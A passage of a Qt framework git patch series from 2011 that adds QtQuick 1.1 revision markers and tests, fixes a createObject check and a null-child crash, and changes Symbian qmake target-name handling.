    +    Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1)
     
         Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
         Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
    @@ -169,9 +169,9 @@ Q_SIGNALS:
         void horizontalAlignmentChanged(HAlignment alignment);
         void verticalAlignmentChanged(VAlignment alignment);
         void wrapModeChanged();
    -    void lineCountChanged();
    -    void truncatedChanged();
    -    void maximumLineCountChanged();
    +    Q_REVISION(1) void lineCountChanged();
    +    Q_REVISION(1) void truncatedChanged();
    +    Q_REVISION(1) void maximumLineCountChanged();
         void textFormatChanged(TextFormat textFormat);
         void elideModeChanged(TextElideMode mode);
         void paintedSizeChanged();
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index 276d570..db3cb2d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -75,7 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePa
         Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
         Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
         Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
    -    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged)
    +    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
         Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
         Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
         Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
    diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    index c277eb7..f1fe2bd 100644
    --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    @@ -90,6 +90,8 @@ private slots:
         void paintedWidthHeight();
         void sourceSize_QTBUG_14303();
         void nullPixmapPaint();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         template
    @@ -164,7 +166,7 @@ void tst_qdeclarativeimage::imageSource()
         if (!error.isEmpty())
             QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
     
    -    QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: "
    +    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: "
             + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: "
             + (cache ? QLatin1String("true") : QLatin1String("false")) + " }";
         QDeclarativeComponent component(&engine);
    @@ -280,7 +282,7 @@ void tst_qdeclarativeimage::mirror()
         qreal height = 250;
     
         QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
    -    QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; }";
    +    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }";
     
         QDeclarativeComponent component(&engine);
         component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    @@ -667,6 +669,45 @@ void tst_qdeclarativeimage::nullPixmapPaint()
         delete image;
     }
     
    +void tst_qdeclarativeimage::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativeimage::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("mirror") << "mirror: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("cache") << "cache: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n";
    +}
    +
     /*
        Find an item with the specified objectName.  If index is supplied then the
        item must also evaluate the {index} expression equal to index
    diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    index b3d7bc1..63817f6 100644
    --- a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    +++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    @@ -1,4 +1,4 @@
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Item {
         width: 200
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index faea448..fabae18 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -103,6 +103,8 @@ private slots:
         void QTBUG_12291();
         void implicitSize_data();
         void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         QStringList standard;
    @@ -1079,6 +1081,45 @@ void tst_qdeclarativetext::implicitSize()
         QVERIFY(textObject->height() == textObject->implicitHeight());
     }
     
    +void tst_qdeclarativetext::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetext::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("maximumLineCount") << "maximumLineCount: 4"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("truncated") << "property int foo: lineCount"
    +        << ":1: ReferenceError: Can't find variable: lineCount"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetext)
     
     #include "tst_qdeclarativetext.moc"
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 582b20f..cd1977a 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -129,6 +129,8 @@ private slots:
         void pastingRichText_QTBUG_14003();
         void implicitSize_data();
         void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         void simulateKey(QDeclarativeView *, int key);
    @@ -1476,6 +1478,45 @@ void tst_qdeclarativetextedit::implicitSize()
         QVERIFY(textObject->height() == textObject->implicitHeight());
     }
     
    +void tst_qdeclarativetextedit::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("canPaste") << "property bool foo: canPaste"
    +        << ":1: ReferenceError: Can't find variable: canPaste"
    +        << "";
    +
    +    QTest::newRow("lineCount") << "property int foo: lineCount"
    +        << ":1: ReferenceError: Can't find variable: lineCount"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextedit)
     
     #include "tst_qdeclarativetextedit.moc"
    -- 
    cgit v0.12
    
    
    From 44c2b8bc246640a011010fc30ebfdc90988ef626 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 18:04:38 +1000
    Subject: Fix object check in createObject
    
    The 'if' check for the value map was inverted. Spelling in warning
    was fixed.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index bd6e2d8..b634a7a 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -665,8 +665,8 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptV
     {
         Q_D(QDeclarativeComponent);
     
    -    if (valuemap.isObject() && !valuemap.isArray()) {
    -        qmlInfo(this) << tr("creatObject: value is not an object");
    +    if (!valuemap.isObject() || valuemap.isArray()) {
    +        qmlInfo(this) << tr("createObject: value is not an object");
             return QScriptValue(QScriptValue::NullValue);
         }
         return d->createObject(parent, valuemap);
    -- 
    cgit v0.12
    
    
    From 281ff52c266e54030ca48326e79eab2d452c2e83 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 18:22:15 +1000
    Subject: Test for passing functions to createObject() for property bindings
    
    ---
     .../data/createObjectWithScript.qml                | 17 ++++++++++++++++
     .../tst_qdeclarativecomponent.cpp                  | 23 ++++++++++++++++++++--
     2 files changed, 38 insertions(+), 2 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 60d4c44..6f9ddc1 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -4,6 +4,10 @@ Item{
         id: root
         property QtObject declarativerectangle : null
         property QtObject declarativeitem : null
    +
    +    property QtObject bindingTestObject : null
    +    property QtObject bindingThisTestObject : null
    +
         Component{id: a; Rectangle{} }
         Component{
             id: b
    @@ -14,8 +18,21 @@ Item{
             }
         }
     
    +    // test passing in bindings
    +    width: 100
    +    Component {
    +        id: c
    +        Item {
    +            property int testValue
    +            width: 300
    +        }
    +    }
    +
         Component.onCompleted: {
             root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
    +
    +        root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    +        root.bindingThisTestObject = c.createObject(root, {'testValue': (function(){return this.width * 3}) })  // use width of Item within 'c'
         }
     }
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 829b762..62c6bb5 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -62,7 +62,7 @@ private slots:
         void null();
         void loadEmptyUrl();
         void qmlCreateObject();
    -    void qmlCreatObjectWithScript();
    +    void qmlCreateObjectWithProperties();
     
     private:
         QDeclarativeEngine engine;
    @@ -121,10 +121,11 @@ void tst_qdeclarativecomponent::qmlCreateObject()
         QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
     }
     
    -void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
    +void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
     {
         QDeclarativeEngine engine;
         QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
         QObject *object = component.create();
         QVERIFY(object != 0);
     
    @@ -134,6 +135,7 @@ void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
         QCOMPARE(testObject1->property("x").value(), 17);
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +    delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
         QVERIFY(testObject2);
    @@ -144,6 +146,23 @@ void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
         QCOMPARE(testObject2->property("testBool").value(), true);
         QCOMPARE(testObject2->property("testInt").value(), 17);
         QCOMPARE(testObject2->property("testObject").value(), object);
    +    delete testObject2;
    +
    +    QObject *testBindingObj = object->property("bindingTestObject").value();
    +    QVERIFY(testBindingObj);
    +    QCOMPARE(testBindingObj->parent(), object);
    +    QCOMPARE(testBindingObj->property("testValue").value(), 300);
    +    object->setProperty("width", 150);
    +    QCOMPARE(testBindingObj->property("testValue").value(), 150 * 3);
    +    delete testBindingObj;
    +
    +    QObject *testBindingThisObj = object->property("bindingThisTestObject").value();
    +    QVERIFY(testBindingThisObj);
    +    QCOMPARE(testBindingThisObj->parent(), object);
    +    QCOMPARE(testBindingThisObj->property("testValue").value(), 900);
    +    testBindingThisObj->setProperty("width", 200);
    +    QCOMPARE(testBindingThisObj->property("testValue").value(), 200 * 3);
    +    delete testBindingThisObj;
     }
     
     QTEST_MAIN(tst_qdeclarativecomponent)
    -- 
    cgit v0.12
    
    
    From eb55d07febf858474d8755e31cb554a4b8fabcdc Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
    Date: Thu, 27 Jan 2011 18:43:01 +1000
    Subject: Don't crash when appending a null item
    
    Task-number: QTBUG-16871
    ---
     src/gui/graphicsview/qgraphicsitem.cpp                       | 12 +++++++-----
     tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml |  5 +++++
     .../declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp    |  9 +++++++++
     3 files changed, 21 insertions(+), 5 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    
    diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp
    index 52e4d79..f463887 100644
    --- a/src/gui/graphicsview/qgraphicsitem.cpp
    +++ b/src/gui/graphicsview/qgraphicsitem.cpp
    @@ -7689,11 +7689,13 @@ void QGraphicsObject::updateMicroFocus()
     
     void QGraphicsItemPrivate::children_append(QDeclarativeListProperty *list, QGraphicsObject *item)
     {
    -    QGraphicsObject *graphicsObject = static_cast(list->object);
    -    if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
    -        item->setParentItem(graphicsObject);
    -    } else {
    -        QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
    +    if (item) {
    +        QGraphicsObject *graphicsObject = static_cast(list->object);
    +        if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
    +            item->setParentItem(graphicsObject);
    +        } else {
    +            QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
    +        }
         }
     }
     
    diff --git a/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    new file mode 100644
    index 0000000..8102df1
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    @@ -0,0 +1,5 @@
    +import QtQuick 1.0
    +
    +Item {
    +    children: [ 10 ]
    +}
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index 447b57b..137522d 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -86,6 +86,7 @@ private slots:
         void implicitSize();
         void testQtQuick11Attributes();
         void testQtQuick11Attributes_data();
    +    void qtbug_16871();
     
     private:
         template
    @@ -994,6 +995,14 @@ void tst_QDeclarativeItem::testQtQuick11Attributes_data()
             << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
     }
     
    +void tst_QDeclarativeItem::qtbug_16871()
    +{
    +    QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml");
    +    QObject *o = component.create();
    +    QVERIFY(o != 0);
    +    delete o;
    +}
    +
     
     template
     T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
    -- 
    cgit v0.12
    
    
    From bd6c9225328b6042ff14dfddb28e2e1279ba0e46 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Thu, 27 Jan 2011 10:01:48 +0100
    Subject: Make syncqt not complain about missing header macros.
    
    qsharedpointer_impl.h contains class definitions that are also
    mirrored in qsharedpointer.h (which is there for qdoc3), so we have a
    macro to stop processing.
    
    Task-number: QTBUG-16912
    Reviewed-by: Olivier Goffart
    ---
     src/corelib/tools/qsharedpointer_impl.h | 10 ++++++++++
     1 file changed, 10 insertions(+)
    
    diff --git a/src/corelib/tools/qsharedpointer_impl.h b/src/corelib/tools/qsharedpointer_impl.h
    index 2404d2a..0337c1f 100644
    --- a/src/corelib/tools/qsharedpointer_impl.h
    +++ b/src/corelib/tools/qsharedpointer_impl.h
    @@ -44,7 +44,17 @@
     #ifndef QSHAREDPOINTER_H
     #error Do not include qsharedpointer_impl.h directly
     #endif
    +
     #if 0
    +// These macros are duplicated here to make syncqt not complain a about
    +// this header, as we have a "qt_sync_stop_processing" below, which in turn
    +// is here because this file contains a template mess and duplicates the
    +// classes found in qsharedpointer.h
    +QT_BEGIN_HEADER
    +QT_BEGIN_NAMESPACE
    +QT_MODULE(Core)
    +QT_END_NAMESPACE
    +QT_END_HEADER
     #pragma qt_sync_stop_processing
     #endif
     
    -- 
    cgit v0.12
    
    
    From 4ec245a3e75470186557d00b2383af3872a720b0 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Thu, 27 Jan 2011 12:40:33 +0200
    Subject: No longer replace dash and dot in TARGET with underscore in Symbian
    
    There is no fundamental reason to not have dash or dot in binary names
    in Symbian, so do not replace them with underscore.
    
    One thing that doesn't work with a dot in the filename is launching
    an application via resources, so automatic resource generation is
    suppressed for applications that have a dot in filename portion of
    the TARGET value.
    
    Task-number: QTBUG-16888
    Reviewed-by: axis
    ---
     mkspecs/common/symbian/symbian.conf           |   9 +--
     mkspecs/features/symbian/application_icon.prf | 106 ++++++++++++++------------
     qmake/generators/symbian/symbiancommon.cpp    |  23 ++----
     qmake/generators/symbian/symbiancommon.h      |   1 -
     qmake/generators/symbian/symmake.cpp          |  31 ++++++--
     5 files changed, 89 insertions(+), 81 deletions(-)
    
    diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
    index 5619d4f..0bb3a29 100644
    --- a/mkspecs/common/symbian/symbian.conf
    +++ b/mkspecs/common/symbian/symbian.conf
    @@ -215,19 +215,14 @@ default_deployment.pkg_prerules += pkg_depends_webkit pkg_depends_qt pkg_platfor
     DEPLOYMENT += default_deployment default_bin_deployment default_resource_deployment default_reg_deployment
     
     defineReplace(symbianRemoveSpecialCharacters) {
    -    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters and
    -    # SymbianCommonGenerator::removeEpocSpecialCharacters produce
    +    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters
     
         fixedStr = $$1
     
         fixedStr = $$replace(fixedStr, /,_)
         fixedStr = $$replace(fixedStr, \\\\,_)
         fixedStr = $$replace(fixedStr, " ",_)
    -    symbian-abld|symbian-sbsv2 {
    -        fixedStr = $$replace(fixedStr, -,_)
    -        fixedStr = $$replace(fixedStr, \\.,_)
    -        fixedStr = $$replace(fixedStr, :,_)
    -    }
    +    fixedStr = $$replace(fixedStr, :,_)
     
         return ($$fixedStr)
     }
    diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
    index 6e1aa8e..b6be89b 100644
    --- a/mkspecs/features/symbian/application_icon.prf
    +++ b/mkspecs/features/symbian/application_icon.prf
    @@ -11,68 +11,74 @@ contains(CONFIG, no_icon) {
     
     !contains(CONFIG, no_icon) {
         baseTarget = $$symbianRemoveSpecialCharacters($$basename(TARGET))
    -    symbian-abld|symbian-sbsv2 {
    -        resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
    -        regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
    +    contains(baseTarget, "^.*\\..*$") {
    +        CONFIG += no_icon
    +        ICON =
    +        warning("Symbian resources do not support '.' character in TARGET, skipping resource generation.")
         } else {
    -        contains(DESTDIR, "/.*") {
    -            resourceZDir = $$DESTDIR
    -        } else:isEmpty(DESTDIR) {
    -            resourceZDir = $$OUT_PWD
    +        symbian-abld|symbian-sbsv2 {
    +            resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
    +            regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
             } else {
    -            resourceZDir = $$OUT_PWD/$$DESTDIR
    +            contains(DESTDIR, "/.*") {
    +                resourceZDir = $$DESTDIR
    +            } else:isEmpty(DESTDIR) {
    +                resourceZDir = $$OUT_PWD
    +            } else {
    +                resourceZDir = $$OUT_PWD/$$DESTDIR
    +            }
    +            regZDir = $$resourceZDir
             }
    -        regZDir = $$resourceZDir
    -    }
     
    -    default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.rsc
    -    default_resource_deployment.path = $$APP_RESOURCE_DIR
    -    default_reg_deployment.sources += $$regZDir/$${baseTarget}_reg.rsc
    -    default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
    +        default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.rsc
    +        default_resource_deployment.path = $$APP_RESOURCE_DIR
    +        default_reg_deployment.sources += $$regZDir/$${baseTarget}_reg.rsc
    +        default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
     
    -    !isEmpty(ICON) {
    -        !count(ICON, 1) {
    -            ICON = $$first(ICON)
    -            warning("Only first icon specified in ICON variable is used: $$ICON")
    -        }
    +        !isEmpty(ICON) {
    +            !count(ICON, 1) {
    +                ICON = $$first(ICON)
    +                warning("Only first icon specified in ICON variable is used: $$ICON")
    +            }
     
    -        # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
    -        !symbian-sbsv2 {
    -            # Absolute path required for shadow builds.
    -            # However, in older Symbian environments abld toolchain can't handle even moderately long
    -            # paths, so don't force absolute there.
    -            !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
    +            # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
    +            !symbian-sbsv2 {
    +                # Absolute path required for shadow builds.
    +                # However, in older Symbian environments abld toolchain can't handle even moderately long
    +                # paths, so don't force absolute there.
    +                !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
     
    -            #Makefile: requires paths with backslash
    -            ICON_backslashed = $$ICON
    +                #Makefile: requires paths with backslash
    +                ICON_backslashed = $$ICON
     
    -            symbian-abld {
    -                # ${ZDIR} is defined in Makefile
    -                mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
    -            } else {
    -                mifIconZDir = $$resourceZDir
    -            }
    +                symbian-abld {
    +                    # ${ZDIR} is defined in Makefile
    +                    mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
    +                } else {
    +                    mifIconZDir = $$resourceZDir
    +                }
     
    -            # Extra compiler rules for mifconv
    -            mifconv.target = $$mifIconZDir/$${baseTarget}.mif
    -            contains(QMAKE_HOST.os, "Windows") {
    -                ICON_backslashed = $$replace(ICON_backslashed, /, \\)
    -                mifconv.target = $$replace(mifconv.target, /, \\)
    +                # Extra compiler rules for mifconv
    +                mifconv.target = $$mifIconZDir/$${baseTarget}.mif
    +                contains(QMAKE_HOST.os, "Windows") {
    +                    ICON_backslashed = $$replace(ICON_backslashed, /, \\)
    +                    mifconv.target = $$replace(mifconv.target, /, \\)
    +                }
    +                # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
    +                # svg-t icons should always use /c32 depth
    +                mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
    +
    +                mifconv.depends = $$ICON
    +                PRE_TARGETDEPS += $$mifconv.target
    +                QMAKE_EXTRA_TARGETS += mifconv
    +                QMAKE_DISTCLEAN += $$mifconv.target
                 }
    -            # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
    -            # svg-t icons should always use /c32 depth
    -            mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
    +            # Rules to use generated MIF file from symbian resources
    +            RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    +            RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
     
    -            mifconv.depends = $$ICON
    -            PRE_TARGETDEPS += $$mifconv.target
    -            QMAKE_EXTRA_TARGETS += mifconv
    -            QMAKE_DISTCLEAN += $$mifconv.target
    +            default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.mif
             }
    -        # Rules to use generated MIF file from symbian resources
    -        RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    -        RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
    -
    -        default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.mif
         }
     }
     
    diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
    index 2270c2e..96d7725 100644
    --- a/qmake/generators/symbian/symbiancommon.cpp
    +++ b/qmake/generators/symbian/symbiancommon.cpp
    @@ -79,11 +79,7 @@ void SymbianCommonGenerator::init()
             fixedTarget = project->first("TARGET");
         fixedTarget = generator->unescapeFilePath(fixedTarget);
         fixedTarget = removePathSeparators(fixedTarget);
    -    if (project->first("MAKEFILE_GENERATOR") == "SYMBIAN_ABLD"
    -        || project->first("MAKEFILE_GENERATOR") == "SYMBIAN_SBSV2")
    -        removeEpocSpecialCharacters(fixedTarget);
    -    else
    -        removeSpecialCharacters(fixedTarget);
    +    removeSpecialCharacters(fixedTarget);
     
         // This should not be empty since the mkspecs are supposed to set it if missing.
         uid3 = project->first("TARGET.UID3").trimmed();
    @@ -131,18 +127,11 @@ bool SymbianCommonGenerator::containsStartWithItem(const QChar &c, const QString
     void SymbianCommonGenerator::removeSpecialCharacters(QString& str)
     {
         // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
    -    str.replace(QString("/"), QString("_"));
    -    str.replace(QString("\\"), QString("_"));
    -    str.replace(QString(" "), QString("_"));
    -}
    -
    -void SymbianCommonGenerator::removeEpocSpecialCharacters(QString& str)
    -{
    -    // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
    -    str.replace(QString("-"), QString("_"));
    -    str.replace(QString(":"), QString("_"));
    -    str.replace(QString("."), QString("_"));
    -    removeSpecialCharacters(str);
    +    QString underscore = QLatin1String("_");
    +    str.replace(QLatin1String("/"), underscore);
    +    str.replace(QLatin1String("\\"), underscore);
    +    str.replace(QLatin1String(" "), underscore);
    +    str.replace(QLatin1String(":"), underscore);
     }
     
     QString romPath(const QString& path)
    diff --git a/qmake/generators/symbian/symbiancommon.h b/qmake/generators/symbian/symbiancommon.h
    index 0b5f53d..5182021 100644
    --- a/qmake/generators/symbian/symbiancommon.h
    +++ b/qmake/generators/symbian/symbiancommon.h
    @@ -82,7 +82,6 @@ protected:
     
         QString removePathSeparators(QString &file);
         void removeSpecialCharacters(QString& str);
    -    void removeEpocSpecialCharacters(QString& str);
         void generatePkgFile(const QString &iconFile,
                              bool epocBuild,
                              const SymbianLocalizationList &symbianLocalizationList);
